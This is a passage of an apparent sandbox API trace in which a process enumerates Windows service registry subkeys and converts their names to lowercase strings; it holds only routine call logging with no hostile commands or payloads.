lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0254.884] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.884] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.884] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.884] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.884] RegEnumKeyW (in: hKey=0x148, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0254.884] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.884] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0254.884] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.884] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.884] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.884] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.884] RegEnumKeyW (in: hKey=0x148, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0254.931] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.932] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.932] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.932] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0254.932] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.932] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.932] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.932] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.932] RegEnumKeyW (in: hKey=0x148, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0254.932] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.932] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.932] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.932] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0254.932] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.932] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.932] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.932] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.932] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0254.932] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.932] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.932] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.932] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0254.932] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.932] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.932] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.932] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.932] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0254.932] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.932] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0254.932] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.932] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0254.932] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.933] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.933] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.933] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.933] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0254.933] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0254.933] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0254.933] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.933] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.933] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0254.933] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.933] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0254.933] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0254.933] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0254.933] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1a48, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0254.933] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0254.933] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0254.933] RegEnumKeyW (in: hKey=0x148, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0254.933] RegEnumKeyW (in: hKey=0x148, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0254.933] RegEnumKeyW (in: hKey=0x148, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0254.934] RegEnumKeyW (in: hKey=0x148, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0254.934] RegEnumKeyW (in: hKey=0x148, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0254.934] RegEnumKeyW (in: hKey=0x148, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0254.934] RegEnumKeyW (in: hKey=0x148, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0254.934] RegEnumKeyW (in: hKey=0x148, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0254.934] RegEnumKeyW (in: hKey=0x148, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0254.934] RegEnumKeyW (in: hKey=0x148, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0254.934] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0254.934] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0254.934] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0254.934] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0254.934] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0254.934] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0254.935] RegEnumKeyW (in: hKey=0x148, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0254.935] RegEnumKeyW (in: hKey=0x148, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0254.935] RegEnumKeyW (in: hKey=0x148, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0254.935] RegEnumKeyW (in: hKey=0x148, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0254.935] RegEnumKeyW (in: hKey=0x148, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0254.935] RegEnumKeyW (in: hKey=0x148, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0254.935] RegEnumKeyW (in: hKey=0x148, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0254.935] RegEnumKeyW (in: hKey=0x148, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0254.935] RegEnumKeyW (in: hKey=0x148, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0254.935] RegEnumKeyW (in: hKey=0x148, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0254.935] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0254.935] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0254.935] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0254.936] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0254.936] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0254.936] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0254.936] RegEnumKeyW (in: hKey=0x148, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0254.936] RegEnumKeyW (in: hKey=0x148, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0254.936] RegEnumKeyW (in: hKey=0x148, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0254.936] RegEnumKeyW (in: hKey=0x148, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0254.936] RegEnumKeyW (in: hKey=0x148, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0254.936] RegEnumKeyW (in: hKey=0x148, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0254.936] RegEnumKeyW (in: hKey=0x148, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0254.936] RegEnumKeyW (in: hKey=0x148, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0254.936] RegEnumKeyW (in: hKey=0x148, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0254.936] RegEnumKeyW (in: hKey=0x148, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0254.937] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0254.937] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0254.937] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0254.937] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0254.937] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0254.937] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0254.937] RegEnumKeyW (in: hKey=0x148, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0254.937] RegEnumKeyW (in: hKey=0x148, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0254.937] RegEnumKeyW (in: hKey=0x148, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0254.937] RegEnumKeyW (in: hKey=0x148, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0254.937] RegEnumKeyW (in: hKey=0x148, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0254.937] RegEnumKeyW (in: hKey=0x148, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0254.937] RegEnumKeyW (in: hKey=0x148, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0254.938] RegEnumKeyW (in: hKey=0x148, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0254.938] RegEnumKeyW (in: hKey=0x148, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0254.938] RegEnumKeyW (in: hKey=0x148, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0254.938] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0254.938] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0254.938] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0254.938] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0254.938] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0254.938] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0254.938] RegEnumKeyW (in: hKey=0x148, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0254.938] RegEnumKeyW (in: hKey=0x148, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0254.938] RegEnumKeyW (in: hKey=0x148, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0254.939] RegEnumKeyW (in: hKey=0x148, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0254.939] RegEnumKeyW (in: hKey=0x148, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0254.939] RegEnumKeyW (in: hKey=0x148, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0254.939] RegEnumKeyW (in: hKey=0x148, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0254.939] RegEnumKeyW (in: hKey=0x148, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0254.939] RegEnumKeyW (in: hKey=0x148, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0254.939] RegEnumKeyW (in: hKey=0x148, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0254.939] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0254.939] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0254.939] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0254.939] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0254.939] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0254.939] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0254.940] RegEnumKeyW (in: hKey=0x148, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0254.940] RegEnumKeyW (in: hKey=0x148, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0254.940] RegEnumKeyW (in: hKey=0x148, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0254.940] RegEnumKeyW (in: hKey=0x148, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0254.940] RegEnumKeyW (in: hKey=0x148, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0254.940] RegEnumKeyW (in: hKey=0x148, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0254.940] RegEnumKeyW (in: hKey=0x148, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0254.940] RegEnumKeyW (in: hKey=0x148, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0254.940] RegEnumKeyW (in: hKey=0x148, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0254.940] RegEnumKeyW (in: hKey=0x148, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0254.940] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0254.940] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0254.940] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0254.941] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0254.941] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0254.941] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0254.941] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0254.941] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0254.941] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0254.941] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0254.941] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0254.941] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0254.941] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0254.941] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0254.941] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0254.941] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0254.942] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0254.942] RegEnumKeyW (in: hKey=0x148, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0254.942] RegEnumKeyW (in: hKey=0x148, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0254.942] RegEnumKeyW (in: hKey=0x148, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0254.942] RegEnumKeyW (in: hKey=0x148, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0254.942] RegEnumKeyW (in: hKey=0x148, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0254.942] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0254.942] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0254.942] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0254.942] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0254.942] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0254.942] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0254.943] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0254.943] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0254.943] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0254.943] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0254.943] RegEnumKeyW (in: hKey=0x148, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0254.943] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0254.943] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0254.943] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0254.943] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0254.943] RegEnumKeyW (in: hKey=0x148, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0254.943] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: 